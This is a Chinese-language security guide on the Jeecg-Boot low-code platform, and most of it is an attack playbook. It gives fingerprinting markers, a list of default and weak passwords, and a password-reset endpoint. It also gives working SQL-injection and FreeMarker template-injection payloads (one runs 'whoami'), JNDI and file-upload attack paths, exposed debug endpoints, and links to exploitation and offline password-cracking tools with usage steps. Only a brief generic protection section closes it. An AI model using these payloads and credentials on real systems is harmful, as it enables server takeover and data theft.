Jeecg-Boot 安全漏洞分析与防护指南
1. Jeecg-Boot 简介
JeecgBoot 是一款基于代码生成器的低代码开发平台,主要特点包括:
- 前后端分离架构(Ant Design & Vue3, SpringBoot, SpringCloud Alibaba)
- 强大的代码生成器功能
- 集成AI应用能力(知识库问答、模型管理、流程编排等)
- 支持多种AI大模型(ChatGPT、DeepSeek、Ollama等)
官网地址:https://jeecg.com
开源项目地址:https://github.com/zhangdaiscott/jeecg-boot
2. 资产识别方法
2.1 指纹特征
- 网页特征:
/sys/common/pdf/pdfPreviewIframe、"积木报表"、"Jeecg-Boot 快速开发平台" - 图标哈希:1380908726 或 -250963920
- 加载动画特征
2.2 常见弱口令
admin/123456
jeecg/123456
admn/admin
test/test
demo/test
jeecg/jeecg123456
guest/guest
3. 高危漏洞分析
3.1 密码重置漏洞
路径:/jeecg-boot/sys/user/passwordChange
方法:GET
参数:
username=admin
password=admin
smscode=
phone=
影响:任意用户密码重置
3.2 信息泄露漏洞
3.2.1 用户信息泄露
路径:
/jeecg-boot/sys/user/querySysUser?username=admin/jeecg-boot/sys/user/checkOnlyUser?username=admin
3.2.2 目录遍历
路径:/jeecg-boot/online/cgform/head/fileTree?_t=1632524014&parentPath=/
影响:低权限账号可获取服务器文件目录信息
3.3 SQL注入漏洞
3.3.1 /sys/dict/queryTableData SQL注入
版本:3.4.4及之前
方法:POST
路径:/jeecg-boot/sys/dict/queryTableData
3.3.2 /onlDragDatasetHead/getTotalData SQL注入
版本:3.7.1
方法:POST
路径:/jeecg-boot/drag/onlDragDatasetHead/getTotalData
3.3.3 /getDictItemsByTable SQL注入
方法:GET
路径:/jeecg-boot/sys/ng-alain/getDictItemsByTable/'%20from%20sys_user/*,%20'/x.js
3.3.4 /jmreport/show SQL注入
版本:3.5.0和3.5.1
方法:POST
路径:/jeecg-boot/jmreport/show
Payload示例:
{
"id": "961455b47c0b86dc961e90b5893bff05",
"apiUrl": "",
"params": {
"id ": "1 ' or ' % 1 % ' like (updatexml(0x3a,concat(1,(version())),1)) or ' % % ' like '"
}
}
3.3.5 /sys/duplicate/check SQL注入
特点:需要身份认证
方法:GET
路径:/jeecg-boot/sys/duplicate/check
参数:
tableName=v3_hello
fieldName=1+and%09if(user(%20)='root@localhost',sleep(0),sleep(0))
fieldVal=1
dataId=asd
3.4 模板注入漏洞
3.4.1 SSTI模板注入
路径:/jeecg-boot/jmreport/loadTableData
版本:3.5.3
Payload示例:
{
"dbSource":"",
"sql":"select '<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"whoami\")}'",
"tableName":"test_demo);",
"pageNo":1,
"pageSize":10
}
3.4.2 AviatorScript表达式注入
路径:
- 保存:
/jeecg-boot/jmreport/save - 触发:
/jeecg-boot/jmreport/show
3.4.3 Freemarker模板注入
路径:
- 添加模板:
/jeecg-boot/sys/message/sysMessageTemplate/add - 发送模板:
/jeecg-boot/sys/message/sysMessageTemplate/sendMsg - 查看结果:
/jeecg-boot/sys/message/sysMessage/list
3.5 JNDI注入漏洞
版本:4.0及之前
路径:/api/../jeecgFormDemoController.do?interfaceTest=
利用条件:
- 依赖fastjson 1.2.31版本
- 远程LDAP服务器
3.6 文件上传漏洞
3.6.1 未授权文件上传
路径:/jeecg-boot/jmreport/upload
特点:上传无需授权,但访问需要token
3.6.2 路径遍历文件上传
路径:/jeecg-boot/api/../commonController.do?parserXml
方法:POST
Content-Type:multipart/form-data
4. 常见接口列表
4.1 信息类接口
/v2/api-docs
/swagger-ui.html
/env
/actuator
/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
/actuator/httptrace
/druid/index.html
/druid/sql.html
/druid/weburi.html
/druid/websession.html
/druid/weburi.json
/druid/websession.json
/druid/login.html
4.2 用户管理接口
/sys/user/list
/sys/user/add
/sys/user/edit
/sys/user/queryById
/sys/user/changePassword
/sys/user/delete
/sys/user/addSysUserRole
4.3 权限管理接口
/sys/role/list
/sys/role/add
/sys/role/edit
/sys/role/queryPermission
/sys/role/delete
/sys/menu/list
/sys/menu/add
/sys/menu/edit
/sys/menu/delete
4.4 数据管理接口
/online/cgform/list
/online/cgform/add
/online/cgform/edit
/online/cgform/delete
/online/cgform/fields/{tableName}
/online/cgform/table/list
/online/cgform/table/sync
/online/cgform/generateCode
5. 漏洞利用工具
5.1 综合利用工具
项目地址:https://github.com/Framework-vulnerability-tool/jeecg
功能:
- 远程命令执行
- SQL注入利用
- 文件上传
- 信息泄露
- JNDI注入等
5.2 离线密码爆破工具
项目地址:https://github.com/ssrsec/JeecgBoot-offline-brute
使用场景:通过SQL注入获取加密凭据后的离线爆破
使用方法:
- 通过SQL注入获取
用户名、加密密码和salt - 存入
data.json - 准备密码字典
pass.txt - 执行:
java -jar JeecgBoot-offline-brute.jar
6. 防护建议
- 及时升级:保持Jeecg-Boot版本为最新
- 权限控制:
- 严格限制接口访问权限
- 禁用不必要的接口
- 输入验证:
- 对所有用户输入进行严格过滤
- 使用参数化查询防止SQL注入
- 安全配置:
- 修改默认密码
- 禁用调试接口
- 限制文件上传类型
- 监控审计:
- 监控异常访问行为
- 定期审计系统日志
7. 总结
Jeecg-Boot作为一款流行的低代码开发平台,存在多种高危漏洞,攻击者可能通过这些漏洞获取系统权限、窃取敏感数据或破坏系统。安全团队应重点关注SQL注入、模板注入和文件上传等漏洞,并采取相应的防护措施。